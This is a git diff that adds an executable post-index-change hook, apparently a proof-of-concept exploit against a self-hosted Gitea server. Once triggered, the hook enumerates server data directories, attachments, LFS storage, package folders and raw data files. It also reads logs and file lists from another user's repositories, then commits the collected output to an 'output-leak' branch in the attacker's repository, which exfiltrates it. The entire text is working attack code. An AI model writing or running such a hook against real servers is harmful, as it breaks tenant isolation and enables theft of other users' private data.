diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..7e79972 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,18 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +echo "---DATADIRS---"; du -sh /data/git/* /data/gitea/* 2>/dev/null | sort -k2 | head -30 +echo "---ATTACH---"; find /data/gitea/attachments -type f 2>/dev/null | wc -l; find /data/gitea/attachments -type f 2>/dev/null | head -5 +echo "---LFS---"; find /data/git/lfs -type f 2>/dev/null | wc -l; du -sh /data/git/lfs 2>/dev/null +echo "---DW---"; ls -d /data/git/repositories/data-watcher-8038/*.git 2>/dev/null | head -5 +for g in $(ls -d /data/git/repositories/data-watcher-8038/*.git 2>/dev/null | head -2); do echo "== ${g}"; git --git-dir=$g log --format='%h %an %s' | head -3; git --git-dir=$g ls-tree -r --name-only HEAD | head -10; done +echo "---XX---"; for f in $(ls /data/XX* 2>/dev/null | head -4); do echo "$f $(stat -c %s $f)"; head -c 16 $f | od -An -c; done +echo "---PKGDIR---"; find /data/gitea/packages -maxdepth 2 2>/dev/null | head -10 +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"